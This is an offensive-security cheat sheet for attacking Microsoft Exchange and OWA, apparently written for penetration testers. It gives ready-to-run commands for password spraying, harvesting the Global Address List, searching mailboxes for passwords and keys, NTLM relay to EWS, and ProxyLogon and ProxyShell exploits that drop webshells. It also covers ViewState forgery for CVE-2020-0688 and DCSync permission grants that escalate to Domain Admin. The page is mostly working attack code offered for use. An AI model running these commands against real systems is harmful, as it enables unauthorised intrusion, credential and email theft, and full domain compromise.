Exchange / OWA Attacks
aka OWA, Exchange Server, EWS, ProxyLogon, ProxyShell, MailSniper
Microsoft Exchange attack surface: OWA password spraying, NTLM relay to EWS, MailSniper mailbox search, GAL enumeration, ProxyLogon/ProxyShell CVEs, Exchange privilege escalation via Organisation Management group, and Exchange→DA escalation paths.
Ports
| Port | Proto | Notes |
|---|---|---|
25 | tcp | SMTP |
80 | tcp | HTTP redirect to HTTPS |
443 | tcp | HTTPS — OWA, EWS, ECP, autodiscover |
587 | tcp | SMTP submission |
Fingerprint
- nmap --script http-auth-info finds OWA at /owa/ and ECP at /ecp/
- NTLM authentication banner leaks internal domain name and hostname via /owa/
- EWS endpoint at /EWS/Exchange.asmx
Key files
| Path | Holds | Sensitive |
|---|---|---|
/owa/ login page | NTLM auth banner leaks domain/hostname | |
Exchange mailboxes | credentials, SSH keys, confidential docs in email | sensitive |
GAL (Global Address List) | all email addresses in the organisation | sensitive |
Known CVEs
| CVE | Impact |
|---|---|
| CVE-2021-26855 | ProxyLogon — pre-auth SSRF → RCE on Exchange |
| CVE-2021-34473 | ProxyShell — pre-auth remote code execution |
| CVE-2020-0688 | Static validation key → authenticated RCE |
Exploitation primitives
- NTLM relay to EWS for mailbox access without knowing the password
- GAL download provides a full employee email list for phishing/spraying
- Organisation Management group membership = path to Domain Admin
- MailSniper searches mailboxes for keywords: password, credential, vpn, secret
Discovery and Fingerprinting
# Discover Exchange over nmap
nmap -p 80,443 --script http-auth-info,http-title TARGET
# Manual — check for OWA/ECP
curl -sk https://TARGET/owa/ | head -50
curl -sk https://TARGET/ecp/ | head -50
curl -sk https://TARGET/autodiscover/autodiscover.xml | head -30
# Grab NTLM auth banner (leaks domain + hostname)
curl -sk https://TARGET/owa/auth/owaauth.dll -D - | grep -i "www-authenticate"
# Or via:
python3 /opt/MailSniper/Invoke-DomainHarvestOWA.ps1
OWA Password Spraying
# MailSniper (PowerShell)
Invoke-PasswordSprayOWA -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!' -OutFile spray_results.txt
# With multiple passwords (slow spray to avoid lockout)
Invoke-PasswordSprayOWA -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!' -Threads 5
# EWS spray
Invoke-PasswordSprayEWS -ExchHostname EXCHANGE_IP -UserList users.txt -Password 'Welcome1!'
# Python — ruler tool
ruler --domain domain.local --username user --password 'Welcome1!' --brute --users users.txt
GAL (Global Address List) Enumeration
The GAL contains every email address in the organisation — useful for phishing and username collection.
# MailSniper — harvest GAL (no mailbox access needed, just valid AD creds)
Get-GlobalAddressList -ExchHostname EXCHANGE_IP -UserName DOMAIN\user -Password pass -OutFile gal.txt
# From Outlook Web Access (after login)
# Settings → Address Book → All Users
Mailbox Search (MailSniper)
After obtaining valid credentials, search mailboxes for sensitive content:
# Import MailSniper
Import-Module .\MailSniper.ps1
# Search own mailbox
Invoke-SelfSearch -Mailbox user@domain.com -ExchHostname EXCHANGE_IP -Terms "password","credential","vpn","key"
# Search all mailboxes (requires Exchange admin or impersonation rights)
Invoke-GlobalMailSearch -ImpersonationAccount admin@domain.com -ExchHostname EXCHANGE_IP -Terms "password" -OutputCsv results.csv
# Find emails with attachments
Invoke-SelfSearch -Mailbox user@domain.com -ExchHostname EXCHANGE_IP -Terms "*.kdbx","*.pem","*.pfx"
NTLM Relay to EWS
Exchange Web Services (EWS) accepts NTLM authentication. Relay a captured NTLM hash to read email.
# Relay to EWS endpoint
ntlmrelayx.py -t https://EXCHANGE_IP/EWS/Exchange.asmx -smb2support --no-http-server
# Coerce victim NTLM auth via Responder or file share trick
# After relay: ntlmrelayx saves cookies/tokens for mailbox access
ProxyLogon (CVE-2021-26855)
Pre-authentication SSRF that reads internal Exchange backend resources. Chains with CVE-2021-27065 for webshell write.
# Check if vulnerable
curl -sk "https://TARGET/ecp/y.js?__VIEWSTATEGENERATOR=CA0B0334&__VIEWSTATE=/wEPDw8WAQ8WAmYPFgIeBXN0eQ==" \
-H "Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3"
# PoC exploit
python3 proxylogon.py EXCHANGE_IP user@domain.com
ProxyShell (CVE-2021-34473 + 34523 + 31207)
Pre-auth remote code execution via autodiscover endpoint.
# Check
python3 proxyshell.py -u https://TARGET -e admin@domain.com
# Exploit — drops webshell
python3 proxyshell.py -u https://TARGET -e admin@domain.com -s shell.aspx
CVE-2020-0688 — Static Validation Key
Exchange servers shipped with a static validationKey and decryptionKey in web.config. An authenticated user can forge a ViewState to get RCE.
# Requires: valid OWA credentials
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -enc BASE64" \
--validationalg="SHA1" \
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
# POST the forged ViewState to /ecp/default.aspx
Exchange → Domain Admin Escalation
Organisation Management group
# Check if you have access to Exchange management
Get-DomainGroupMember -Identity 'Organization Management' -Recurse
Get-DomainGroupMember -Identity 'Exchange Windows Permissions' -Recurse
# The 'Exchange Windows Permissions' group has WriteDACL on the domain object
# Use it to grant yourself DCSync rights
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity 'Exchange Windows Permissions' -Rights DCSync
Exchange Trusted Subsystem
# Exchange Trusted Subsystem has Write permission on all AD objects
# If you control an Exchange server or service account in this group:
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity 'Exchange Trusted Subsystem' -Rights DCSync
Ruler — Exchange Tools
# Home page discovery
ruler --domain domain.local autodiscover
# Password spray
ruler --domain domain.local --username user --password pass --brute --users users.txt
# Remote rule creation (Outlook Home Page macro)
ruler --email user@domain.local --username user --password pass \
--url https://EXCHANGE_IP/EWS/Exchange.asmx \
form add --suffix test --input homepage.html --output form.msg --send